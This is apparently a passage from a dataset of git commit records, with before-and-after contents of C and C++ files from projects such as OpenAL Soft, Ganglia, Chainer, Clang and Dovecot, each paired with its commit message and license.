\"..\/gen\/terrain.h\"\n\n#include \"common.h\"\n\nextern \"C\"\n{\n  #include \"lua.h\"\n}\nnamespace game { namespace luaint\n{\n  struct Terrain_Gen_Config\n  {\n    void add_option(std::string const& name, double def) noexcept;\n  private:\n    enum class Option_Type\n    {\n      Double\n    };\n    struct Option\n    {\n      std::string name;\n      Option_Type type;\n      union\n      {\n        double d_num;\n      } value;\n    };\n    std::vector<Option> options_;\n  };\n\n  struct Terrain_Gen_Mod\n  {\n    \/\/ Index into registry[naeme] where naeme is some implementation (?)\n    \/\/ defined string.\n    \/\/ The value of the registry[naeme][table_index] is the mod lua function.\n    size_t table_index;\n    Terrain_Gen_Config config;\n  };\n  using Terrain_Gen_Mod_Vector = std::vector<Terrain_Gen_Mod>;\n\n  \/\/ Use this to initialize a table to return from a lua require call.\n  Table terrain_preload_table(Terrain_Gen_Mod_Vector&) noexcept;\n\n  \/\/ Use this to push a grid\n  void push_grid_table(lua_State*, gen::Grid_Map&) noexcept;\n} }\n","subject":"Add comment to the Terrain_Gen_Mod struct","message":"Add comment to the Terrain_Gen_Mod struct\n","lang":"C","license":"bsd-3-clause","repos":"RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine"}
{"commit":"1200ec14e9e0ec6b27033f59778c7c4dd6690ca4","old_file":"c_src\/indexed_ewah.h","new_file":"c_src\/indexed_ewah.h","old_contents":"#pragma once\n\n#include <stdint.h>\n#include <stdlib.h>\n#include \"ewok.h\"\n\nenum { N_DIVISIONS = 65536, LOG2_DIVISIONS = 16 };\nstruct indexed_ewah_map {\n    struct ewah_bitmap *map;\n    size_t bit_from_division[N_DIVISIONS], ptr_from_division[N_DIVISIONS];\n};\n\n\/* Build an index on top of an existing libewok EWAH map. *\/\nextern void ewah_build_index(struct indexed_ewah_map *);\n\/* Test whether a given bit is set in an indexed EWAH map. *\/\nextern bool indexed_ewah_get(struct indexed_ewah_map *, size_t);\n\n","new_contents":"#pragma once\n\n#include <stdint.h>\n#include <stdlib.h>\n#include \"ewok.h\"\n\nenum { N_DIVISIONS = 1<<14 };\nstruct indexed_ewah_map {\n    struct ewah_bitmap *map;\n    size_t bit_from_division[N_DIVISIONS], ptr_from_division[N_DIVISIONS];\n};\n\n\/* Build an index on top of an existing libewok EWAH map. *\/\nextern void ewah_build_index(struct indexed_ewah_map *);\n\/* Test whether a given bit is set in an indexed EWAH map. *\/\nextern bool indexed_ewah_get(struct indexed_ewah_map *, size_t);\n\n","subject":"Change number of divisions in index to 2^14","message":"Change number of divisions in index to 2^14\n","lang":"C","license":"mit","repos":"ratelle\/erl_ip_index,ratelle\/erl_ip_index,ratelle\/erl_ip_index"}
{"commit":"cc79cb803ad27d92e3e44e89b59c5a6521e06d44","old_file":"Alc\/converter.h","new_file":"Alc\/converter.h","old_contents":"#ifndef CONVERTER_H\n#define CONVERTER_H\n\n#include \"alMain.h\"\n#include \"alu.h\"\n\n#ifdef __cpluspluc\nextern \"C\" {\n#endif\n\ntypedef struct SampleConverter {\n    enum DevFmtType mSrcType;\n    enum DevFmtType mDstType;\n    ALsizei mNumChannels;\n    ALsizei mSrcTypeSize;\n    ALsizei mDstTypeSize;\n\n    ALint mSrcPrepCount;\n\n    ALsizei mFracOffset;\n    ALsizei mIncrement;\n    ResamplerFunc mResample;\n\n    alignas(16) ALfloat mSrcSamples[BUFFERSIZE+MAX_PRE_SAMPLES+MAX_POST_SAMPLES];\n    alignas(16) ALfloat mDstSamples[BUFFERSIZE];\n\n    struct {\n        alignas(16) ALfloat mPrevSamples[MAX_PRE_SAMPLES+MAX_POST_SAMPLES];\n    } Chan[];\n} SampleConverter;\n\nSampleConverter *CreateSampleConverter(enum DevFmtType srcType, enum DevFmtType dstType, ALsizei numchans, ALsizei srcRate, ALsizei dstRate);\nvoid DestroySampleConverter(SampleConverter **converter);\n\nALsizei SampleConverterInput(SampleConverter *converter, const ALvoid *src, ALsizei *srcframes, ALvoid *dst, ALsizei dstframes);\nALsizei SampleConverterAvailableOut(SampleConverter *converter, ALsizei srcframes);\n\n#ifdef __cpluspluc\n}\n#endif\n\n#endif \/* CONVERTER_H *\/\n","new_contents":"#ifndef CONVERTER_H\n#define CONVERTER_H\n\n#include \"alMain.h\"\n#include \"alu.h\"\n\n#ifdef __cpluspluc\nextern \"C\" {\n#endif\n\ntypedef struct SampleConverter {\n    enum DevFmtType mSrcType;\n    enum DevFmtType mDstType;\n    ALsizei mNumChannels;\n    ALsizei mSrcTypeSize;\n    ALsizei mDstTypeSize;\n\n    ALint mSrcPrepCount;\n\n    ALsizei mFracOffset;\n    ALsizei mIncrement;\n    ResamplerFunc mResample;\n\n    alignas(16) ALfloat mSrcSamples[BUFFERSIZE];\n    alignas(16) ALfloat mDstSamples[BUFFERSIZE];\n\n    struct {\n        alignas(16) ALfloat mPrevSamples[MAX_PRE_SAMPLES+MAX_POST_SAMPLES];\n    } Chan[];\n} SampleConverter;\n\nSampleConverter *CreateSampleConverter(enum DevFmtType srcType, enum DevFmtType dstType, ALsizei numchans, ALsizei srcRate, ALsizei dstRate);\nvoid DestroySampleConverter(SampleConverter **converter);\n\nALsizei SampleConverterInput(SampleConverter *converter, const ALvoid *src, ALsizei *srcframes, ALvoid *dst, ALsizei dstframes);\nALsizei SampleConverterAvailableOut(SampleConverter *converter, ALsizei srcframes);\n\n#ifdef __cpluspluc\n}\n#endif\n\n#endif \/* CONVERTER_H *\/\n","subject":"Reduce the size of the temp input buffer","message":"Reduce the size of the temp input buffer\n","lang":"C","license":"lgpl-2.1","repos":"aaronmjacobs\/openal-soft,aaronmjacobs\/openal-soft"}
{"commit":"ab55a43fcd48953d0d76599671efa6f5a82bee80","old_file":"uwsgiEngine\/plugin.h","new_file":"uwsgiEngine\/plugin.h","old_contents":"\/*\n * Copyright (C) 2013-2014 Daniel Nicoletti <dantti12@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n\n#ifndef PLUGIN_H\n#define PLUGIN_H\n\n#define CUTELYST_MODIFIER1 0\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nstruct uwsgi_cutelyst {\n    char *app;\n    int reload;\n};\n\nextern struct uwsgi_cutelyst options;\n\n#ifdef __cplusplus\n}\n#endif\n\n\n#endif \/\/ PLUGIN_H\n","new_contents":"\/*\n * Copyright (C) 2013-2014 Daniel Nicoletti <dantti12@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n\n#ifndef PLUGIN_H\n#define PLUGIN_H\n\n#define CUTELYST_MODIFIER1 0\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nstruct uwsgi_cutelyst {\n    char *app;\n    int reload;\n} options;\n\n#ifdef __cplusplus\n}\n#endif\n\n\n#endif \/\/ PLUGIN_H\n","subject":"Revert \"Possibly fixed alignment warning\"","message":"Revert \"Possibly fixed alignment warning\"\n\nThis reverts commit 3111a7ae00cf12f0f8e0f357fb122b24470e4051.\n","lang":"C","license":"bsd-3-clause","repos":"buschmann23\/cutelyst,buschmann23\/cutelyst,cutelyst\/cutelyst,simonaw\/cutelyst,simonaw\/cutelyst,cutelyst\/cutelyst,buschmann23\/cutelyst,cutelyst\/cutelyst"}
{"commit":"4a01fda83c83febe335110ddead262bb280c4d24","old_file":"gmond\/core_metrics.c","new_file":"gmond\/core_metrics.c","old_contents":"","new_contents":"#include <metric.h>\n#include <gm_mmn.h>\n\n#include <libmetrics.h>\n\n\nmmodule core_metrics;\n\n\/*\n** A helper function to determine the number of cpustates in \/proc\/stat (MKN)\n*\/\n\nstatic int core_metrics_init ( apr_pool_t *p )\n{\n    int i;\n\n    for (i = 0; core_metrics.metrics_info[i].name != NULL; i++) {\n        \/* Initialize the metadata storage for each of the metrics and then\n         *  store one or more key\/value pairs.  The define MGROUPS defines\n         *  the key for the grouping attribute. *\/\n        MMETRIC_INIT_METADATA(&(core_metrics.metrics_info[i]),p);\n        MMETRIC_ADD_METADATA(&(core_metrics.metrics_info[i]),MGROUP,\"core\");\n    }\n\n    return 0;\n}\n\nstatic void core_metrics_cleanup ( void )\n{\n}\n\nstatic g_val_t core_metrics_handler ( int metric_index )\n{\n    g_val_t val;\n\n    \/* The metric_index corresponds to the order in which\n       the metrics appear in the metric_info array\n    *\/\n    switch (metric_index) {\n    case 0:\n        return gexec_func();\n    case 1:\n        return heartbeat_func();\n    case 2:\n        return location_func();\n    }\n\n    \/* default case *\/\n    val.int32 = 0;\n    return val;\n}\n\nstatic Ganglia_25metric core_metrics_info[] = \n{\n    {0, \"gexec\",      300, GANGLIA_VALUE_STRING,       \"\",        \"zero\", \"%s\", UDP_HEADER_SIZE+32, \"gexec available\"},\n    {0, \"heartbeat\",   20, GANGLIA_VALUE_UNSIGNED_INT, \"\",        \"\",     \"%u\", UDP_HEADER_SIZE+8,  \"Last heartbeat\"},\n    {0, \"location\",  1200, GANGLIA_VALUE_STRING,       \"(x,y,z)\", \"\",     \"%s\", UDP_HEADER_SIZE+12, \"Location of the machine\"},\n    {0, NULL}\n};\n\nmmodule core_metrics =\n{\n    STD_MMODULE_STUFF,\n    core_metrics_init,\n    core_metrics_cleanup,\n    core_metrics_info,\n    core_metrics_handler,\n};\n\n","subject":"Move heartbeat, location and gexec metrics to a core module that will always be statically linked","message":"Move heartbeat, location and gexec metrics to a core module that will always be statically linked\n","lang":"C","license":"bsd-3-clause","repos":"fastly\/monitor-core,NoodlesNZ\/monitor-core,fastly\/monitor-core,mjzhou\/monitor-core,phreakocious\/monitor-core,hinesmr\/monitor-core,NoodlesNZ\/monitor-core,dmourati\/monitor-core,sdgdsffdsfff\/monitor-core,mjzhou\/monitor-core,torkelsson\/monitor-core,hinesmr\/monitor-core,sdgdsffdsfff\/monitor-core,mjzhou\/monitor-core,sdgdsffdsfff\/monitor-core,phreakocious\/monitor-core,dmourati\/monitor-core,mjzhou\/monitor-core,fastly\/monitor-core,fastly\/monitor-core,lawrencewu\/monitor-core,phreakocious\/monitor-core,ganglia\/monitor-core,fastly\/monitor-core,fastly\/monitor-core,mjzhou\/monitor-core,lawrencewu\/monitor-core,torkelsson\/monitor-core,phreakocious\/monitor-core,phreakocious\/monitor-core,phreakocious\/monitor-core,mjzhou\/monitor-core,mjzhou\/monitor-core,hinesmr\/monitor-core,phreakocious\/monitor-core,lawrencewu\/monitor-core,sdgdsffdsfff\/monitor-core,lawrencewu\/monitor-core,lawrencewu\/monitor-core,torkelsson\/monitor-core,hinesmr\/monitor-core,ganglia\/monitor-core,NoodlesNZ\/monitor-core,ganglia\/monitor-core,sdgdsffdsfff\/monitor-core,torkelsson\/monitor-core,torkelsson\/monitor-core,NoodlesNZ\/monitor-core,ganglia\/monitor-core,fastly\/monitor-core,NoodlesNZ\/monitor-core,ganglia\/monitor-core,NoodlesNZ\/monitor-core,NoodlesNZ\/monitor-core,dmourati\/monitor-core,ganglia\/monitor-core,dmourati\/monitor-core,sdgdsffdsfff\/monitor-core,dmourati\/monitor-core,lawrencewu\/monitor-core,torkelsson\/monitor-core,ganglia\/monitor-core,dmourati\/monitor-core,sdgdsffdsfff\/monitor-core,torkelsson\/monitor-core,hinesmr\/monitor-core,ganglia\/monitor-core,lawrencewu\/monitor-core"}
{"commit":"c26911e369cd35262a3ff74693024bab8e99c088","old_file":"xchainer\/macro.h","new_file":"xchainer\/macro.h","old_contents":"#pragma once\n\n#ifdef NDEBUG\n#define XCHAINER_DEBUG false\n#else  \/\/ NDEBUG\n#define XCHAINER_DEBUG true\n#endif  \/\/ NDEBUG\n\n#ifndef XCHAINER_HOST_DEVICE\n#ifdef __CUDACC__\n#define XCHAINER_HOST_DEVICE __host__ __device__\n#else  \/\/ __CUDA__\n#define XCHAINER_HOST_DEVICE\n#endif  \/\/ __CUDACC__\n#endif  \/\/ XCHAINER_HOST_DEVICE\n\n#ifndef XCHAINER_NEVER_REACH\n#ifdef NDEBUG\n#include <cstdlib>\n#define XCHAINER_NEVER_REACH() (std::abort())\n#else  \/\/ NDEBUG\n#include <cassert>\n#define XCHAINER_NEVER_REACH()                    \\\n    do {                                          \\\n        assert(false); \/* NOLINT(cert-dcl03-c) *\/ \\\n        std::abort();                             \\\n    } while (false)\n#endif  \/\/ NDEBUG\n#endif  \/\/ XCHAINER_NEVER_REACH\n","new_contents":"#pragma once\n\n#include <cassert>\n\n#ifdef NDEBUG\n#define XCHAINER_DEBUG false\n#else  \/\/ NDEBUG\n#define XCHAINER_DEBUG true\n#endif  \/\/ NDEBUG\n\n#define XCHAINER_ASSERT(...)                                   \\\n    do {                                                       \\\n        if (XCHAINER_DEBUG) {                                  \\\n            (void)(false && (__VA_ARGS__)); \/* maybe unused *\/ \\\n            assert(__VA_ARGS__);                               \\\n        }                                                      \\\n    } while (false)\n\n#ifndef XCHAINER_HOST_DEVICE\n#ifdef __CUDACC__\n#define XCHAINER_HOST_DEVICE __host__ __device__\n#else  \/\/ __CUDA__\n#define XCHAINER_HOST_DEVICE\n#endif  \/\/ __CUDACC__\n#endif  \/\/ XCHAINER_HOST_DEVICE\n\n#ifndef XCHAINER_NEVER_REACH\n#ifdef NDEBUG\n#include <cstdlib>\n#define XCHAINER_NEVER_REACH() (std::abort())\n#else  \/\/ NDEBUG\n#include <cassert>\n#define XCHAINER_NEVER_REACH()                    \\\n    do {                                          \\\n        assert(false); \/* NOLINT(cert-dcl03-c) *\/ \\\n        std::abort();                             \\\n    } while (false)\n#endif  \/\/ NDEBUG\n#endif  \/\/ XCHAINER_NEVER_REACH\n","subject":"Add XCHAINER_ASSERT, an alternative assert that forcibly uses the expression syntactically","message":"Add XCHAINER_ASSERT, an alternative assert that forcibly uses the expression syntactically\n","lang":"C","license":"mit","repos":"chainer\/chainer,keisuke-umezawa\/chainer,wkentaro\/chainer,hvy\/chainer,keisuke-umezawa\/chainer,jnishi\/chainer,niboshi\/chainer,jnishi\/chainer,niboshi\/chainer,ktnyt\/chainer,niboshi\/chainer,tkerola\/chainer,ktnyt\/chainer,keisuke-umezawa\/chainer,niboshi\/chainer,pfnet\/chainer,wkentaro\/chainer,hvy\/chainer,chainer\/chainer,hvy\/chainer,okuta\/chainer,chainer\/chainer,chainer\/chainer,hvy\/chainer,ktnyt\/chainer,keisuke-umezawa\/chainer,wkentaro\/chainer,jnishi\/chainer,okuta\/chainer,jnishi\/chainer,wkentaro\/chainer,okuta\/chainer,ktnyt\/chainer,okuta\/chainer"}
{"commit":"9dc2130e92fb14cd7ceb259a08dabe5ace2d41d1","old_file":"effects\/startup.h","new_file":"effects\/startup.h","old_contents":"#ifndef __STARTUP_H__\n#define __STARTUP_H__\n\n#include \"types.h\"\n\n#ifndef X\n#define X(x) ((x) + 0x81)\n#endif\n\n#ifndef Y\n#define Y(y) ((y) + 0x2c)\n#endif\n\nextern int frameCount;\nextern int lastFrameCount;\nextern struct List *VBlankEvent;\n\ntypedef struct Effect {\n  \/* AmigaOS is active during this step. Loads resources from disk. *\/\n  void (*Load)(void);\n  \/* Frees all resources allocated by \"Load\" step. *\/\n  void (*UnLoad)(void);\n  \/*\n   * Does all initialization steps required to launch the effect.\n   * 1) Allocate required memory.\n   * 2) Run all precalc routines.\n   * 2) Generate copper lists.\n   * 3) Set up interrupts and DMA channels.\n   *\/\n  void (*Init)(void);\n  \/* Frees all resources allocated by \"Init\" step. *\/\n  void (*Kill)(void);\n  \/* Renders single frame of an effect. *\/\n  void (*Render)(void);\n  \/* Handles all events and returns false to break the loop. *\/\n  bool (*HandleEvent)(void);\n} EffectT;\n\n#endif\n","new_contents":"#ifndef __STARTUP_H__\n#define __STARTUP_H__\n\n#include \"types.h\"\n\n#ifndef X\n#define X(x) ((x) + 0x81)\n#endif\n\n#ifndef HP\n#define HP(x) (X(x) \/ 2)\n#endif\n\n#ifndef Y\n#define Y(y) ((y) + 0x2c)\n#endif\n\n#ifndef VP\n#define VP(y) (Y(y) & 255)\n#endif\n\nextern int frameCount;\nextern int lastFrameCount;\nextern struct List *VBlankEvent;\n\ntypedef struct Effect {\n  \/* AmigaOS is active during this step. Loads resources from disk. *\/\n  void (*Load)(void);\n  \/* Frees all resources allocated by \"Load\" step. *\/\n  void (*UnLoad)(void);\n  \/*\n   * Does all initialization steps required to launch the effect.\n   * 1) Allocate required memory.\n   * 2) Run all precalc routines.\n   * 2) Generate copper lists.\n   * 3) Set up interrupts and DMA channels.\n   *\/\n  void (*Init)(void);\n  \/* Frees all resources allocated by \"Init\" step. *\/\n  void (*Kill)(void);\n  \/* Renders single frame of an effect. *\/\n  void (*Render)(void);\n  \/* Handles all events and returns false to break the loop. *\/\n  bool (*HandleEvent)(void);\n} EffectT;\n\n#endif\n","subject":"Add default calculation of horizontal & vertical position.","message":"Add default calculation of horizontal & vertical position.\n","lang":"C","license":"artistic-2.0","repos":"cahirwpz\/demoscene,cahirwpz\/demoscene,cahirwpz\/demoscene,cahirwpz\/demoscene"}
{"commit":"d1aff3f0750596fbb1ffeffa858c9db2f09a215d","old_file":"arch\/amiga\/include\/psl.h","new_file":"arch\/amiga\/include\/psl.h","old_contents":"\/*\t$NetBSD: psl.h,v 1.7 1994\/10\/26 02:06:31 cgd Exp $\t*\/\n\n#ifndef _MACHINE_PSL_H_\n#define _MACHINE_PSL_H_\n\n#include <m68k\/psl.h>\n\n#endif\n","new_contents":"\/*\t$NetBSD: psl.h,v 1.7 1994\/10\/26 02:06:31 cgd Exp $\t*\/\n\n#ifndef _MACHINE_PSL_H_\n#define _MACHINE_PSL_H_\n\n\/* Interrupt priority `levels'; not mutually exclusive. *\/\n#define\tIPL_NONE\t-1\n#define\tIPL_BIO\t\t3\t\/* block I\/O *\/\n#define\tIPL_NET\t\t3\t\/* network *\/\n#define\tIPL_TTY\t\t4\t\/* terminal *\/\n#define\tIPL_CLOCK\t4\t\/* clock *\/\n#define\tIPL_IMP\t\t4\t\/* memory allocation *\/\n\n\/* Interrupt sharing types. *\/\n#define\tIST_NONE\t0\t\/* none *\/\n#define\tIST_PULSE\t1\t\/* pulsed *\/\n#define\tIST_EDGE\t2\t\/* edge-triggered *\/\n#define\tIST_LEVEL\t3\t\/* level-triggered *\/\n\n#include <m68k\/psl.h>\n\n#endif\n","subject":"Add IPL_ and IST_ constants in preparation for the Amiga ISA-kit","message":"Add IPL_ and IST_ constants in preparation for the Amiga ISA-kit\n","lang":"C","license":"isc","repos":"orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars"}
{"commit":"3ba54a5b44af53af3a3f1c7641261bd605c9a441","old_file":"SSPSolution\/ResourceLib\/DefineHeader.h","new_file":"SSPSolution\/ResourceLib\/DefineHeader.h","old_contents":"#pragma once\n#define DLLEXPORT\n\n\n#ifdef DLLEXPORT\n#define DLL_OPERATION __declspec(dllexport)\n#endif\n#include <iostream>\n\n","new_contents":"#pragma once\n\n#ifdef RESOURCELIB_EXPORTS\n#define DLL_OPERATION __declspec(dllexport)\n#else\n#define DLL_OPERATION __declspec(dllimport)\n#endif\n#include <iostream>\n\n","subject":"FIX dllcondition to use the correct macro name","message":"FIX dllcondition to use the correct macro name\n\nRESOURCELIB_EXPORTS is a defined preprocessor macro, not DLLEXPORTS\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"55559595b273d87c11951b14f051dddb14cb5939","old_file":"test\/CodeGen\/bitscan-builtins.c","new_file":"test\/CodeGen\/bitscan-builtins.c","old_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-unknown-unknown -emit-llvm -o - %s | FileCheck %s\n\n\/\/ Don't include mm_malloc.h, it's system specific.\n#define __MM_MALLOC_H\n#include <immintrin.h>\n\nint test_bit_scan_forward(int a) {\n  return _bit_scan_forward(a);\n\/\/ CHECK: @test_bit_scan_forward\n\/\/ CHECK: %[[call:.*]] = call i32 @llvm.cttz.i32(\n\/\/ CHECK: ret i32 %[[call]]\n}\n\nint test_bit_scan_reverse(int a) {\n  return _bit_scan_reverse(a);\n\/\/ CHECK:  %[[call:.*]] = call i32 @llvm.ctlz.i32(\n\/\/ CHECK:  %[[sub:.*]] = sub nsw i32 31, %2\n\/\/ CHECK: ret i32 %[[sub]]\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-unknown-unknown -emit-llvm -o - %s | FileCheck %s\n\n\/\/ Don't include mm_malloc.h, it's system specific.\n#define __MM_MALLOC_H\n#include <immintrin.h>\n\nint test_bit_scan_forward(int a) {\n  return _bit_scan_forward(a);\n\/\/ CHECK: @test_bit_scan_forward\n\/\/ CHECK: %[[call:.*]] = call i32 @llvm.cttz.i32(\n\/\/ CHECK: ret i32 %[[call]]\n}\n\nint test_bit_scan_reverse(int a) {\n  return _bit_scan_reverse(a);\n\/\/ CHECK:  %[[call:.*]] = call i32 @llvm.ctlz.i32(\n\/\/ CHECK:  %[[sub:.*]] = sub nsw i32 31, %[[call]]\n\/\/ CHECK: ret i32 %[[sub]]\n}\n","subject":"Test fix -- use captured call result instead of hardcoded %2.","message":"Test fix -- use captured call result instead of hardcoded %2.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@272573 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"cdd545fda02f9cc72a309c473a32377b70f66946","old_file":"WildcardPattern.h","new_file":"WildcardPattern.h","old_contents":"#import <Cocoa\/Cocoa.h>\n\n\n@interface WildcardPattern : NSObject {\n\tNSString* pattern_;\n}\n\n- (id) initWithString: (NSString*) s;\n- (BOOL) isMatch: (NSString*) s;\n\n@end\n","new_contents":"\/*\n * Copyright (c) 2006 KATO Kazuyoshi <kzys@8-p.info>\n * This source code is released under the MIT license.\n *\/\n\n#import <Cocoa\/Cocoa.h>\n\n@interface WildcardPattern : NSObject {\n\tNSString* pattern_;\n}\n\n- (id) initWithString: (NSString*) s;\n- (BOOL) isMatch: (NSString*) s;\n\n@end\n","subject":"Add copyright and license header.","message":"Add copyright and license header.\n","lang":"C","license":"mit","repos":"kzys\/greasekit,sohocoke\/greasekit,chrismessina\/greasekit,tbodt\/greasekit"}
{"commit":"71b81539a49b9f1645e4e79fa27073f7b0aab55a","old_file":"CPPace\/CPPace.Lib\/SetFunctions.h","new_file":"CPPace\/CPPace.Lib\/SetFunctions.h","old_contents":"#pragma once\n#include \"Export.h\"\n\n#include <set>\n#include <vector>\n\nusing namespace std;\n\nclass DLLEXPORT SetFunctions {\npublic:\n  static set<int> set_union_two(set<int>& s1, set<int>& s2);\n\n  static set<int> set_intersect_two(set<int>& s1, set<int>& s2);\n  static set<int> set_intersect_three(set<int>& s1, set<int>& s2, set<int>& s3);\n};\n","new_contents":"#pragma once\n#include \"EXPORT.h\"\n\n#include <set>\n#include <vector>\n\nusing namespace std;\n\nclass DLLEXPORT SetFunctions {\npublic:\n  static set<int> set_union_two(set<int>& s1, set<int>& s2);\n\n  static set<int> set_intersect_two(set<int>& s1, set<int>& s2);\n  static set<int> set_intersect_three(set<int>& s1, set<int>& s2, set<int>& s3);\n};\n","subject":"Correct casing of EXPORT.h import","message":"Correct casing of EXPORT.h import\n","lang":"C","license":"mit","repos":"Madsen90\/Pace17,Madsen90\/Pace17,Madsen90\/Pace17"}
{"commit":"bd55c2cbfc4524de918cbfb53812bd6b93fe227a","old_file":"src\/lib\/hex-dec.c","new_file":"src\/lib\/hex-dec.c","old_contents":"\/* Copyright (c) 2005-2011 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"hex-dec.h\"\n\nvoid dec2hex(unsigned char *hexstr, uintmax_t dec, unsigned int hexstr_size)\n{\n\tunsigned int i;\n\n\tfor (i = 0; i < hexstr_size; i++) {\n\t\tunsigned int value = dec & 0x0f;\n\t\tif (value < 10)\n\t\t\thexstr[hexstr_size-i-1] = value + '0';\n\t\telse\n\t\t\thexstr[hexstr_size-i-1] = value - 10 + 'A';\n\t\tdec >>= 4;\n\t}\n}\n\nuintmax_t hex2dec(const unsigned char *data, unsigned int len)\n{\n\tunsigned int i;\n\tuintmax_t value = 0;\n\n\tfor (i = 0; i < len; i++) {\n\t\tvalue = value*0x10;\n\t\tif (data[i] >= '0' && data[i] <= '9')\n\t\t\tvalue += data[i]-'0';\n\t\telse if (data[i] >= 'A' && data[i] <= 'F')\n\t\t\tvalue += data[i]-'A' + 10;\n\t\telse\n\t\t\treturn 0;\n\t}\n\treturn value;\n}\n\n","new_contents":"\/* Copyright (c) 2005-2011 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"hex-dec.h\"\n\nvoid dec2hex(unsigned char *hexstr, uintmax_t dec, unsigned int hexstr_size)\n{\n\tunsigned int i;\n\n\tfor (i = 0; i < hexstr_size; i++) {\n\t\tunsigned int value = dec & 0x0f;\n\t\tif (value < 10)\n\t\t\thexstr[hexstr_size-i-1] = value + '0';\n\t\telse\n\t\t\thexstr[hexstr_size-i-1] = value - 10 + 'A';\n\t\tdec >>= 4;\n\t}\n}\n\nuintmax_t hex2dec(const unsigned char *data, unsigned int len)\n{\n\tunsigned int i;\n\tuintmax_t value = 0;\n\n\tfor (i = 0; i < len; i++) {\n\t\tvalue = value*0x10;\n\t\tif (data[i] >= '0' && data[i] <= '9')\n\t\t\tvalue += data[i]-'0';\n\t\telse if (data[i] >= 'A' && data[i] <= 'F')\n\t\t\tvalue += data[i]-'A' + 10;\n\t\telse if (data[i] >= 'a' && data[i] <= 'f')\n\t\t\tvalue += data[i]-'a' + 10;\n\t\telse\n\t\t\treturn 0;\n\t}\n\treturn value;\n}\n\n","subject":"Allow data to contain also lowercase hex characters.","message":"hex2dec(): Allow data to contain also lowercase hex characters.\n","lang":"C","license":"mit","repos":"LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot"}
{"commit":"7b252163dd1e7fb08f1e2651524bd93f0c5ef87e","old_file":"include-cpp\/RSUtil.h","new_file":"include-cpp\/RSUtil.h","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdint.h>\n\nextern \"C\" void RSFatalError(char *message);\n\nextern \"C\" void* RSMallocOrDie(size_t size);\nextern \"C\" void* RSCallocOrDie(size_t size);\n\nextern \"C\" void RSFReadOrDie(void *dest, size_t size, FILE *file);\nextern \"C\" void RSFWriteOrDie(void *data, size_t size, FILE *file);\nextern \"C\" FILE* RSFOpenOrDie(char *path, char *mode);\nextern \"C\" void RSFCloseOrDie(FILE *file);\nextern \"C\" void* RSReadFileOrDie(char *path, uint32_t *size);\n\nextern \"C\" int8_t RSReadInt8(uint8_t *data, uint32_t *offset);\nextern \"C\" uint8_t RSReadUInt8(uint8_t *data, uint32_t *offset);\nextern \"C\" int16_t RSReadInt16(uint8_t *data, uint32_t *offset);\nextern \"C\" uint16_t RSReadUInt16(uint8_t *data, uint32_t *offset);\nextern \"C\" int32_t RSReadInt32(uint8_t *data, uint32_t *offset);\nextern \"C\" uint32_t RSReadUInt32(uint8_t *data, uint32_t *offset);\nextern \"C\" int64_t RSReadInt64(uint8_t *data, uint32_t *offset);\nextern \"C\" uint64_t RSReadUInt64(uint8_t *data, uint32_t *offset);\n","subject":"Add a header for use from C++","message":"Add a header for use from C++\n","lang":"C","license":"mit","repos":"ReclaimSoftware\/RSUtil"}
